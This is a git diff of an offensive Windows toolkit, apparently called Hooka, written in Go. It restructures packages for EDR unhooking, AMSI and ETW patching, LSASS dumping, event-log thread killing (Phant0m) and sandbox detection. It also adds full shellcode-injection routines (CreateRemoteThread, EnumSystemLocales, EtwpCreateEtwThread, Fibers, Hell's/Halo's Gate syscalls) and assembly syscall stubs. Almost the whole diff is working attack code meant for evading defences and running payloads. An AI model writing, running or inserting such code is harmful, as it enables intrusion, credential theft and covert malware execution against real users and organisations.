-func checkUnhook(unhook int, technique string) {
- // Unhook function(s)
- var funcs_to_unhook []string
- var lib string
-
- if unhook == 1 {
- l.Println("[*] Unhooking functions via Classic technique...")
- time.Sleep(200 * time.Millisecond)
-
- if technique == "createtemotethread" {
- funcs_to_unhook = []string{"CreateRemoteThreadEx"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- } else if technique == "createremotethreadhalos" {
- funcs_to_unhook = []string{"NtCreateThreadEx", "NtAllocateVirtualMemory", "NtProtectVirtualMemory", "NtWriteVirtualMemory"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- } else if technique == "createprocess" {
- funcs_to_unhook = []string{"NtQueryInformationProcess"}
- } else if technique == "enumsystemlocales" {
- funcs_to_unhook = []string{"RtlMoveMemory"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- } else if technique == "enumsystemlocaleshalos" {
- funcs_to_unhook = []string{"NtAllocateVirtualMemory", "NtWriteVirtualMemory", "RtlMoveMemory"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- } else if technique == "queueuserapc" {
- funcs_to_unhook = []string{"QueueUserAPC"}
- lib = "C:\\Windows\\System32\\kernel32.dll"
- } else if technique == "fibers" {
- funcs_to_unhook = []string{"RtlCopyMemory"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- } else if technique == "uuidfromstring" {
- funcs_to_unhook = []string{"UuidFromStringA"}
- lib = "C:\\Windows\\System32\\Rpcrt4.dll"
- } else if technique == "etwpcreateetwthread" {
- funcs_to_unhook = []string{"RtlCopyMemory", "EtwpCreateEtwThread"}
- lib = "C:\\Windows:\\System32\\ntdll.dll"
- } else if technique == "rtlcreateuserthread" {
- funcs_to_unhook = []string{"RtlCreateUserThread"}
- lib = "C:\\Windows\\System32\\ntdll.dll"
- }
-
- err := hooka.ClassicUnhook(funcs_to_unhook, lib)
- if err != nil {
- l.Println("[-] An error has occurred while unhooking functions!")
- l.Fatal(err)
- }
- l.Println("[+] Functions have been unhooked!")
-
- } else if unhook == 2 {
- l.Println("[*] Unhooking functions via Full Dll technique...")
- time.Sleep(200 * time.Millisecond)
- err := hooka.FullUnhook("C:\\Windows\\System32\\ntdll.dll")
- if err != nil {
- l.Println("[-] An error has occurred while unhooking functions!")
- l.Fatal(err)
- }
- l.Println("[+] Functions have been unhooked!")
-
- } else if unhook == 3 {
- l.Println("[*] Unhooking functions via Perun's Fart technique...")
- time.Sleep(200 * time.Millisecond)
- err := hooka.PerunsUnhook()
- if err != nil {
- l.Println("[-] An error has occurred while unhooking functions!")
- l.Fatal(err)
- }
- l.Println("[+] Functions have been unhooked!")
- }
-}
diff --git a/pkg/hooka/acg.go b/pkg/hooka/acg.go
index 6df9341..82bd321 100644
--- a/pkg/hooka/acg.go
+++ b/pkg/hooka/acg.go
@@ -1,9 +1,9 @@
package hooka
import (
- "github.com/D3Ext/Hooka/core"
+ "github.com/D3Ext/Hooka/evasion"
)
func EnableACG() error {
- return core.EnableACG()
+ return evasion.EnableACG()
}
diff --git a/pkg/hooka/amsi.go b/pkg/hooka/amsi.go
index ceb0de2..95f059b 100644
--- a/pkg/hooka/amsi.go
+++ b/pkg/hooka/amsi.go
@@ -1,7 +1,11 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
func PatchAmsi() error {
- return core.PatchAmsi()
+ return evasion.PatchAmsi()
+}
+
+func PatchAmsi2() error {
+ return evasion.PatchAmsi2()
}
diff --git a/pkg/hooka/auxiliary.go b/pkg/hooka/auxiliary.go
index 8f199d5..03a439d 100644
--- a/pkg/hooka/auxiliary.go
+++ b/pkg/hooka/auxiliary.go
@@ -1,23 +1,21 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/utils"
func GetShellcodeFromUrl(url string) ([]byte, error) {
- return core.GetShellcodeFromUrl(url)
+ return utils.GetShellcodeFromUrl(url)
}
func GetShellcodeFromFile(file string) ([]byte, error) {
- return core.GetShellcodeFromFile(file)
+ return utils.GetShellcodeFromFile(file)
}
func CalcShellcode() []byte {
- return core.CalcShellcode()
-}
-
-func ElevateProcessToken() error {
- return core.ElevateProcessToken()
+ return utils.CalcShellcode()
}
func CheckHighPrivs() (bool, error) {
- return core.CheckHighPrivs()
+ return utils.CheckHighPrivs()
}
+
+
diff --git a/pkg/hooka/blockdlls.go b/pkg/hooka/blockdlls.go
new file mode 100644
index 0000000..0454f8e
--- /dev/null
+++ b/pkg/hooka/blockdlls.go
@@ -0,0 +1,14 @@
+package hooka
+
+import (
+ "github.com/D3Ext/Hooka/evasion"
+)
+
+func BlockDLLs() error {
+ return evasion.BlockDLLs()
+}
+
+func CreateProcessBlockDLLs(cmd string) error {
+ return evasion.CreateProcessBlockDLLs(cmd)
+}
+
diff --git a/pkg/hooka/dll.go b/pkg/hooka/dll.go
index 2622c90..9b697cd 100644
--- a/pkg/hooka/dll.go
+++ b/pkg/hooka/dll.go
@@ -1,11 +1,11 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/utils"
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
- return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
+ return utils.ConvertDllToShellcode(dll_file, dll_func, func_args)
}
func ConvertDllBytesToShellcode(dll_bytes []byte, dll_func string, func_args string) ([]byte, error) {
- return core.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
+ return utils.ConvertDllBytesToShellcode(dll_bytes, dll_func, func_args)
}
diff --git a/pkg/hooka/etw.go b/pkg/hooka/etw.go
index e0c16ab..07262a6 100644
--- a/pkg/hooka/etw.go
+++ b/pkg/hooka/etw.go
@@ -1,7 +1,11 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
func PatchEtw() error {
- return core.PatchEtw()
+ return evasion.PatchEtw()
+}
+
+func PatchEtw2() error {
+ return evasion.PatchEtw2()
}
diff --git a/pkg/hooka/gate.go b/pkg/hooka/gate.go
index 6f1e405..7f43187 100644
--- a/pkg/hooka/gate.go
+++ b/pkg/hooka/gate.go
@@ -1,11 +1,8 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
func GetSysId(funcname string) (uint16, error) {
- return core.GetSysId(funcname)
+ return evasion.GetSysId(funcname)
}
-func GetFuncPtr(funcname string) (uint64, error) {
- return core.GetFuncPtr(funcname)
-}
diff --git a/pkg/hooka/hashing.go b/pkg/hooka/hashing.go
index 624702e..ce7f6de 100644
--- a/pkg/hooka/hashing.go
+++ b/pkg/hooka/hashing.go
@@ -1,11 +1,32 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import (
+ "github.com/D3Ext/Hooka/utils"
+ "github.com/D3Ext/Hooka/evasion"
+ "golang.org/x/sys/windows"
+)
-func FuncFromHash(hash string, dll string, hashing_func func(string) string) (uint16, string, error) {
- return core.FuncFromHash(hash, dll, hashing_func)
+func GetFuncPtr(hash string, dll string, hashing_func func(str string) string) (*windows.LazyProc, string, error) {
+ return evasion.GetFuncPtr(hash, dll, hashing_func)
}
-func HalosFuncFromHash(hash string, hashing_func func(str string) string) (uint16, string, error) {
- return core.HalosFuncFromHash(hash, hashing_func)
+func GetSysIdHash(hash string, dll string, hashing_func func(str string) string) (uint16, string, error) {
+ return evasion.GetSysIdHash(hash, dll, hashing_func)
}
+
+func GetSysIdHashHalos(hash string, hashing_func func(str string) string) (uint16, string, error) {
+ return evasion.GetSysIdHashHalos(hash, hashing_func)
+}
+
+func Md5(src string) string {
+ return utils.Md5(src)
+}
+
+func Sha1(src string) string {
+ return utils.Sha1(src)
+}
+
+func Sha256(src string) string {
+ return utils.Sha256(src)
+}
+
diff --git a/pkg/hooka/hooks.go b/pkg/hooka/hooks.go
index bba9bbd..2674c42 100644
--- a/pkg/hooka/hooks.go
+++ b/pkg/hooka/hooks.go
@@ -1,13 +1,13 @@
package hooka
import (
- "github.com/D3Ext/Hooka/core"
+ "github.com/D3Ext/Hooka/evasion"
)
func DetectHooks() ([]string, error) {
- return core.DetectHooks()
+ return evasion.DetectHooks()
}
func IsHooked(func_name string) (bool, error) {
- return core.IsHooked(func_name)
+ return evasion.IsHooked(func_name)
}
diff --git a/pkg/hooka/lsass.go b/pkg/hooka/lsass.go
index 1e37233..32872c9 100644
--- a/pkg/hooka/lsass.go
+++ b/pkg/hooka/lsass.go
@@ -1,7 +1,7 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
-func DumpLsass(output string) error {
- return core.DumpLsass(output)
+func DumpLsass(output_file string) error {
+ return evasion.DumpLsass(output_file)
}
diff --git a/pkg/hooka/phant0m.go b/pkg/hooka/phant0m.go
index dd2e547..9651321 100644
--- a/pkg/hooka/phant0m.go
+++ b/pkg/hooka/phant0m.go
@@ -1,15 +1,12 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
-func GetEventLogPid() (uint32, error) {
- return core.GetEventLogPid()
+func GetEventLogPid() (int, error) {
+ return evasion.GetEventLogPid()
}
-func Phant0m(pid uint32) error {
- return core.Phant0m(pid)
+func Phant0m(eventlog_pid int) error {
+ return evasion.Phant0m(eventlog_pid)
}
-func Phant0mWithOutput(pid uint32) error {
- return core.Phant0mWithOutput(pid)
-}
diff --git a/pkg/hooka/sandbox.go b/pkg/hooka/sandbox.go
index 6e7c39b..44c09ed 100644
--- a/pkg/hooka/sandbox.go
+++ b/pkg/hooka/sandbox.go
@@ -1,39 +1,39 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
-func AutoCheck() error {
- return core.AutoCheck()
+func AutoCheck() (bool, error) {
+ return evasion.AutoCheck()
}
func CheckMemory() (bool, error) {
- return core.CheckMemory()
+ return evasion.CheckMemory()
}
func CheckDisk() (bool, error) {
- return core.CheckDisk()
+ return evasion.CheckDisk()
}
func CheckInternet() bool {
- return core.CheckInternet()
+ return evasion.CheckInternet()
}
func CheckHostname() (bool, error) {
- return core.CheckHostname()
+ return evasion.CheckHostname()
}
func CheckUsername() (bool, error) {
- return core.CheckUsername()
+ return evasion.CheckUsername()
}
func CheckCpu() bool {
- return core.CheckCpu()
+ return evasion.CheckCpu()
}
func CheckDrivers() bool {
- return core.CheckDrivers()
+ return evasion.CheckDrivers()
}
func CheckProcess() (bool, error) {
- return core.CheckProcess()
+ return evasion.CheckProcess()
}
diff --git a/pkg/hooka/shellcode.go b/pkg/hooka/shellcode.go
index 1add574..41d620c 100644
--- a/pkg/hooka/shellcode.go
+++ b/pkg/hooka/shellcode.go
@@ -1,53 +1,71 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
-
-func Inject(shellcode []byte, technique string, pid int) error {
- return core.Inject(shellcode, technique, pid)
-}
-
-func CreateRemoteThread(shellcode []byte, pid int) error {
- return core.CreateRemoteThread(shellcode, pid)
-}
+import (
+ sc_pkg "github.com/D3Ext/Hooka/shellcode"
+)
+// use 0 as pid to self-inject
func CreateProcess(shellcode []byte, pid int) error {
- return core.CreateProcess(shellcode, pid)
+ return sc_pkg.CreateProcess(shellcode, pid)
+}
+
+// use 0 as pid to self-inject
+func CreateRemoteThread(shellcode []byte, pid int) error {
+ return sc_pkg.CreateRemoteThread(shellcode, pid)
+}
+
+func NtCreateThreadEx(shellcode []byte, pid int) error {
+ return sc_pkg.NtCreateThreadEx(shellcode, pid)
+}
+
+func ProcessHollowing(shellcode []byte, proc string, blockdlls bool) error {
+ return sc_pkg.ProcessHollowing(shellcode, proc, blockdlls)
}
func EnumSystemLocales(shellcode []byte) error {
- return core.EnumSystemLocales(shellcode)
+ return sc_pkg.EnumSystemLocales(shellcode)
}
func Fibers(shellcode []byte) error {
- return core.Fibers(shellcode)
+ return sc_pkg.Fibers(shellcode)
}
func QueueUserApc(shellcode []byte) error {
- return core.QueueUserApc(shellcode)
+ return sc_pkg.QueueUserApc(shellcode)
+}
+
+func NtQueueApcThreadEx(shellcode []byte) error {
+ return sc_pkg.NtQueueApcThreadEx(shellcode)
+}
+
+func NoRWX(shellcode []byte) error {
+ return sc_pkg.NoRWX(shellcode)
}
func UuidFromString(shellcode []byte) error {
- return core.UuidFromString(shellcode)
+ return sc_pkg.UuidFromString(shellcode)
}
func EtwpCreateEtwThread(shellcode []byte) error {
- return core.EtwpCreateEtwThread(shellcode)
+ return sc_pkg.EtwpCreateEtwThread(shellcode)
}
func RtlCreateUserThread(shellcode []byte, pid int) error {
- return core.RtlCreateUserThread(shellcode, pid)
+ return sc_pkg.RtlCreateUserThread(shellcode, pid)
}
/*
-Hell's Gate + Halo's Gate functions (WIP)
+Hell's Gate + Halo's Gate functions
*/
-func CreateRemoteThreadHalos(shellcode []byte) error {
- return core.CreateRemoteThreadHalos(shellcode)
+func NtCreateThreadExHalos(shellcode []byte) error {
+ return sc_pkg.NtCreateThreadExHalos(shellcode)
}
func EnumSystemLocalesHalos(shellcode []byte) error {
- return core.EnumSystemLocalesHalos(shellcode)
+ return sc_pkg.EnumSystemLocalesHalos(shellcode)
}
+
+
diff --git a/pkg/hooka/sleep.go b/pkg/hooka/sleep.go
new file mode 100644
index 0000000..3e717c8
--- /dev/null
+++ b/pkg/hooka/sleep.go
@@ -0,0 +1,8 @@
+package hooka
+
+import "github.com/D3Ext/Hooka/evasion"
+
+func Sleep() {
+ evasion.Sleep()
+}
+
diff --git a/pkg/hooka/syscall.go b/pkg/hooka/syscall.go
index 97cd710..28e476b 100644
--- a/pkg/hooka/syscall.go
+++ b/pkg/hooka/syscall.go
@@ -1,15 +1,9 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
func Syscall(callid uint16, argh ...uintptr) (uint32, error) {
- return core.Syscall(callid, argh...)
+ return evasion.Syscall(callid, argh...)
}
-func Execute(shellcode []byte) error {
- return core.Execute(shellcode)
-}
-func WriteMemory(inbuf []byte, destination uintptr) {
- core.WriteMemory(inbuf, destination)
-}
diff --git a/pkg/hooka/unhook.go b/pkg/hooka/unhook.go
index cf2456c..76c2e15 100644
--- a/pkg/hooka/unhook.go
+++ b/pkg/hooka/unhook.go
@@ -1,15 +1,17 @@
package hooka
-import "github.com/D3Ext/Hooka/core"
+import "github.com/D3Ext/Hooka/evasion"
func ClassicUnhook(funcnames []string, dllpath string) error {
- return core.ClassicUnhook(funcnames, dllpath)
+ return evasion.ClassicUnhook(funcnames, dllpath)
}
-func FullUnhook(dllpath string) error {
- return core.FullUnhook(dllpath)
+// unhook especified DLLs (provide full paths)
+func FullUnhook(dlls_to_unhook []string) error {
+ return evasion.FullUnhook(dlls_to_unhook)
}
+// unhook ntdll.dll
func PerunsUnhook() error {
- return core.PerunsUnhook()
+ return evasion.PerunsUnhook()
}
diff --git a/shellcode/asm_x64.s b/shellcode/asm_x64.s
new file mode 100644
index 0000000..1ca442a
--- /dev/null
+++ b/shellcode/asm_x64.s
@@ -0,0 +1,112 @@
+//func GetNtdllStart() uintptr
+TEXT ·GetNtdllStart(SB), $0-16
+ //All operations push values into AX
+ //PEB
+ MOVQ 0x60(GS), AX
+ //PEB->LDR
+ MOVQ 0x18(AX),AX
+
+ //LDR->InMemoryOrderModuleList
+ MOVQ 0x20(AX),AX
+
+ //Flink (get next element)
+ MOVQ (AX),AX
+
+ //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
+ //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
+ MOVQ 0x20(AX),CX
+ MOVQ CX, start+0(FP)
+
+ MOVQ 0x30(AX),CX
+ MOVQ CX, size+8(FP)
+
+ RET
+
+//func getModuleLoadedOrder(i int) (start uintptr, size uintptr)
+TEXT ·getMLO(SB), $0-32
+ //All operations push values into AX
+ //PEB
+ MOVQ 0x60(GS), AX
+ //PEB->LDR
+ MOVQ 0x18(AX),AX
+
+ //LDR->InMemoryOrderModuleList
+ MOVQ 0x20(AX),AX
+
+ //loop things
+ XORQ R10,R10
+startloop:
+ CMPQ R10,i+0(FP)
+ JE endloop
+ //Flink (get next element)
+ MOVQ (AX),AX
+ INCQ R10
+ JMP startloop
+endloop:
+ //Flink - 0x10 -> _LDR_DATA_TABLE_ENTRY
+ //_LDR_DATA_TABLE_ENTRY->DllBase (offset 0x30)
+ MOVQ 0x20(AX),CX
+ MOVQ CX, start+8(FP)
+
+ MOVQ 0x30(AX),CX
+ MOVQ CX, size+16(FP)
+ MOVQ AX,CX
+ ADDQ $0x38,CX
+ MOVQ CX, modulepath+24(FP)
+ //SYSCALL
+ RET
+
+//based on https://golang.org/src/runtime/sys_windows_amd64.s
+#define maxargs 16
+//func Syscall(callid uint16, argh ...uintptr) (uint32, error)
+TEXT ·bpSyscall(SB), $0-56
+ XORQ AX,AX
+ MOVW callid+0(FP), AX
+ PUSHQ CX
+ //put variadic size into CX
+ MOVQ argh_len+16(FP),CX
+ //put variadic pointer into SI
+ MOVQ argh_base+8(FP),SI
+ // SetLastError(0).
+ MOVQ 0x30(GS), DI
+ MOVL $0, 0x68(DI)
+ SUBQ $(maxargs*8), SP // room for args
+ // Fast version, do not store args on the stack.
+ CMPL CX, $4
+ JLE loadregs
+ // Check we have enough room for args.
+ CMPL CX, $maxargs
+ JLE 2(PC)
+ INT $3 // not enough room -> crash
+ // Copy args to the stack.
+ MOVQ SP, DI
+ CLD
+ REP; MOVSQ
+ MOVQ SP, SI
+loadregs:
+ //move the stack pointer????? why????
+ SUBQ $8, SP
+ // Load first 4 args into correspondent registers.
+ MOVQ 0(SI), CX
+ MOVQ 8(SI), DX
+ MOVQ 16(SI), R8
+ MOVQ 24(SI), R9
+ // Floating point arguments are passed in the XMM
+ // registers. Set them here in case any of the arguments
+ // are floating point values. For details see
+ // https://msdn.microsoft.com/en-us/library/zthk2dkh.aspx
+ MOVQ CX, X0
+ MOVQ DX, X1
+ MOVQ R8, X2
+ MOVQ R9, X3
+ //MOVW callid+0(FP), AX
+ MOVQ CX, R10
+ SYSCALL
+ ADDQ $((maxargs+1)*8), SP
+ // Return result.
+ POPQ CX
+ MOVL AX, errcode+32(FP)
+ RET
+
+
+
diff --git a/core/createprocess.go b/shellcode/createprocess.go
similarity index 99%
rename from core/createprocess.go
rename to shellcode/createprocess.go
index ef6d632..717998a 100644
--- a/core/createprocess.go
+++ b/shellcode/createprocess.go
@@ -1,4 +1,4 @@
-package core
+package shellcode
/*
diff --git a/shellcode/createremotethread.go b/shellcode/createremotethread.go
new file mode 100644
index 0000000..eb09c2e
--- /dev/null
+++ b/shellcode/createremotethread.go
@@ -0,0 +1,78 @@
+package shellcode
+
+import (
+ "errors"
+ "unsafe"
+ "golang.org/x/sys/windows"
+)
+
+func CreateRemoteThread(shellcode []byte, pid int) error {
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ OpenProcess := kernel32.NewProc("OpenProcess")
+ VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
+ VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
+ WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
+ CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
+ CloseHandle := kernel32.NewProc("CloseHandle")
+
+ var pHandle uintptr
+
+ if pid == 0 {
+ pHandle, _, _ = GetCurrentProcess.Call()
+ } else {
+ pHandle, _, _ = OpenProcess.Call(
+ windows.PROCESS_CREATE_THREAD|windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ|windows.PROCESS_QUERY_INFORMATION,
+ uintptr(0),
+ uintptr(pid),
+ )
+ }
+
+ addr, _, _ := VirtualAllocEx.Call(
+ uintptr(pHandle),
+ 0,
+ uintptr(len(shellcode)),
+ windows.MEM_COMMIT|windows.MEM_RESERVE,
+ windows.PAGE_READWRITE,
+ )
+
+ if addr == 0 {
+ return errors.New("VirtualAllocEx failed and returned 0")
+ }
+
+ WriteProcessMemory.Call(
+ uintptr(pHandle),
+ addr,
+ (uintptr)(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ )
+
+ oldProtect := windows.PAGE_READWRITE
+ VirtualProtectEx.Call(
+ uintptr(pHandle),
+ addr,
+ uintptr(len(shellcode)),
+ windows.PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtect)),
+ )
+
+ CreateRemoteThreadEx.Call(
+ uintptr(pHandle),
+ 0,
+ 0,
+ addr,
+ 0,
+ 0,
+ 0,
+ )
+
+ _, _, errCloseHandle := CloseHandle.Call(pHandle)
+ if errCloseHandle != nil {
+ return errCloseHandle
+ }
+
+ return nil
+}
+
+
diff --git a/shellcode/enumsystemlocales.go b/shellcode/enumsystemlocales.go
new file mode 100644
index 0000000..56fb05e
--- /dev/null
+++ b/shellcode/enumsystemlocales.go
@@ -0,0 +1,92 @@
+package shellcode
+
+import (
+ "unsafe"
+ "golang.org/x/sys/windows"
+ "github.com/D3Ext/Hooka/evasion"
+)
+
+func EnumSystemLocales(shellcode []byte) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+
+ EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
+ NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
+ NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
+ if r1 != 0 {
+ return err
+ }
+
+ NtWriteVirtualMemory.Call(^uintptr(0), addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0)
+
+ r1, _, err = EnumSystemLocalesEx.Call(addr, 0, 0, 0)
+ if r1 == 0 {
+ return err
+ }
+
+ return nil
+}
+
+/*
+
+Hell's Gate + Halo's Gate technique
+
+*/
+
+func EnumSystemLocalesHalos(shellcode []byte) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ EnumSystemLocalesEx := kernel32.NewProc("EnumSystemLocalesEx")
+
+ NtAllocateVirtualMemory, err := evasion.GetSysId("NtAllocateVirtualMemory")
+ if err != nil {
+ return err
+ }
+
+ NtWriteVirtualMemory, err := evasion.GetSysId("NtWriteVirtualMemory")
+ if err != nil {
+ return err
+ }
+
+ pHandle, _, _ := GetCurrentProcess.Call()
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, err := evasion.Syscall(
+ NtAllocateVirtualMemory,
+ uintptr(pHandle),
+ uintptr(unsafe.Pointer(&addr)),
+ 0,
+ uintptr(unsafe.Pointer(®ionsize)),
+ windows.MEM_COMMIT|windows.MEM_RESERVE,
+ windows.PAGE_EXECUTE_READWRITE,
+ )
+
+ if r1 != 0 {
+ return err
+ }
+
+ evasion.Syscall(
+ NtWriteVirtualMemory,
+ uintptr(pHandle),
+ addr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ EnumSystemLocalesEx.Call(
+ addr,
+ 0,
+ 0,
+ 0,
+ )
+
+ return nil
+}
diff --git a/shellcode/etwpcreateetwthread.go b/shellcode/etwpcreateetwthread.go
new file mode 100644
index 0000000..17e0531
--- /dev/null
+++ b/shellcode/etwpcreateetwthread.go
@@ -0,0 +1,43 @@
+package shellcode
+
+import (
+ "unsafe"
+ "golang.org/x/sys/windows"
+)
+
+func EtwpCreateEtwThread(shellcode []byte) error {
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ NtAllocateVirtualMemory := ntdll.NewProc("NtAllocateVirtualMemory")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+ NtWaitForSingleObject := ntdll.NewProc("NtWaitForSingleObject")
+ RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
+ EtwpCreateEtwThread := ntdll.NewProc("EtwpCreateEtwThread")
+
+ var addr uintptr
+ regionsize := uintptr(len(shellcode))
+
+ r1, _, err := NtAllocateVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), 0, uintptr(unsafe.Pointer(®ionsize)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
+ if r1 != uintptr(windows.STATUS_SUCCESS) {
+ return err
+ }
+
+ RtlCopyMemory.Call(addr, uintptr(unsafe.Pointer(&shellcode[0])), regionsize)
+
+ oldProtect := windows.PAGE_READWRITE
+ r2, _, err := NtProtectVirtualMemory.Call(^uintptr(0), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ thread, _, err := EtwpCreateEtwThread.Call(addr, uintptr(0))
+ if thread == 0 {
+ return err
+ }
+
+ r3, _, err := NtWaitForSingleObject.Call(thread, uintptr(0), 0xFFFFFFFF)
+ if r3 != 0 {
+ return err
+ }
+
+ return nil
+}
diff --git a/core/exports.go b/shellcode/exports.go
similarity index 73%
rename from core/exports.go
rename to shellcode/exports.go
index 001e14a..9fd5891 100644
--- a/core/exports.go
+++ b/shellcode/exports.go
@@ -1,4 +1,4 @@
-package core
+package shellcode
/*
@@ -8,13 +8,6 @@ This package exports all windows struct which are used
import (
"unsafe"
-
- "golang.org/x/sys/windows"
-)
-
-const (
- ntdllpath = "C:\\Windows\\System32\\ntdll.dll"
- kernel32path = "C:\\Windows\\System32\\kernel32.dll"
)
const (
@@ -111,28 +104,6 @@ type IMAGE_NT_HEADER struct {
OptionalHeader IMAGE_OPTIONAL_HEADER
}
-type IMAGE_DOS_HEADER struct { // DOS .EXE header
- E_magic uint16 // Magic number
- E_cblp uint16 // Bytes on last page of file
- E_cp uint16 // Pages in file
- E_crlc uint16 // Relocations
- E_cparhdr uint16 // Size of header in paragraphs
- E_minalloc uint16 // Minimum extra paragraphs needed
- E_maxalloc uint16 // Maximum extra paragraphs needed
- E_ss uint16 // Initial (relative) SS value
- E_sp uint16 // Initial SP value
- E_csum uint16 // Checksum
- E_ip uint16 // Initial IP value
- E_cs uint16 // Initial (relative) CS value
- E_lfarlc uint16 // File address of relocation table
- E_ovno uint16 // Overlay number
- E_res [4]uint16 // Reserved words
- E_oemid uint16 // OEM identifier (for E_oeminfo)
- E_oeminfo uint16 // OEM information; E_oemid specific
- E_res2 [10]uint16 // Reserved words
- E_lfanew uint16 // File address of new exe header
-}
-
type PEB struct {
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
@@ -166,31 +137,6 @@ type PROCESS_BASIC_INFORMATION struct {
InheritedFromUniqueProcessID uintptr // PVOID
}
-type ClientID struct {
- UniqueProcess windows.Handle
- UniqueThread windows.Handle
-}
-
-type imageExportDir struct {
- _, _ uint32
- _, _ uint16
- Name uint32
- Base uint32
- NumberOfFunctions uint32
- NumberOfNames uint32
- AddressOfFunctions uint32
- AddressOfNames uint32
- AddressOfNameOrdinals uint32
-}
-
-type memStatusEx struct { // Auxiliary struct to retrieve total memory
- dwLength uint32
- dwMemoryLoad uint32
- ullTotalPhys uint64
- ullAvailPhys uint64
- unused [5]uint64
-}
-
type CLIENT_ID struct {
UniqueProcess uintptr
UniqueThread uintptr
diff --git a/core/fibers.go b/shellcode/fibers.go
similarity index 63%
rename from core/fibers.go
rename to shellcode/fibers.go
index 549ff79..9a580d5 100644
--- a/core/fibers.go
+++ b/shellcode/fibers.go
@@ -1,4 +1,4 @@
-package core
+package shellcode
/*
@@ -10,28 +10,19 @@ https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateFiber/main.go
import (
"errors"
- "fmt"
"unsafe"
"golang.org/x/sys/windows"
)
const (
- // MEM_COMMIT is a Windows constant used with Windows API calls
MEM_COMMIT = 0x1000
-
- // MEM_RESERVE is a Windows constant used with Windows API calls
MEM_RESERVE = 0x2000
-
- // PAGE_EXECUTE_READ is a Windows constant used with Windows API calls
PAGE_EXECUTE_READ = 0x20
-
- // PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func Fibers(shellcode []byte) error {
-
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
@@ -44,7 +35,6 @@ func Fibers(shellcode []byte) error {
fiberAddr, _, _ := ConvertThreadToFiber.Call() // Convert thread to fiber
- // Allocate shellcode
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -56,7 +46,6 @@ func Fibers(shellcode []byte) error {
return errors.New("VirtualAlloc failed and returned 0")
}
- // Copy shellcode to memory
RtlCopyMemory.Call(
addr,
(uintptr)(unsafe.Pointer(&shellcode[0])),
@@ -64,7 +53,6 @@ func Fibers(shellcode []byte) error {
)
oldProtect := PAGE_READWRITE
- // Change memory region to PAGE_EXECUTE_READ
VirtualProtect.Call(
addr,
uintptr(len(shellcode)),
@@ -72,22 +60,11 @@ func Fibers(shellcode []byte) error {
uintptr(unsafe.Pointer(&oldProtect)),
)
- // Create fiber
- fiber, _, _ := CreateFiber.Call(
- 0,
- addr,
- 0,
- )
+ fiber, _, _ := CreateFiber.Call(0, addr, 0)
- _, _, errSwitchToFiber := SwitchToFiber.Call(fiber)
- if errSwitchToFiber != nil {
- fmt.Println("errSwitchToFiber", errSwitchToFiber.Error())
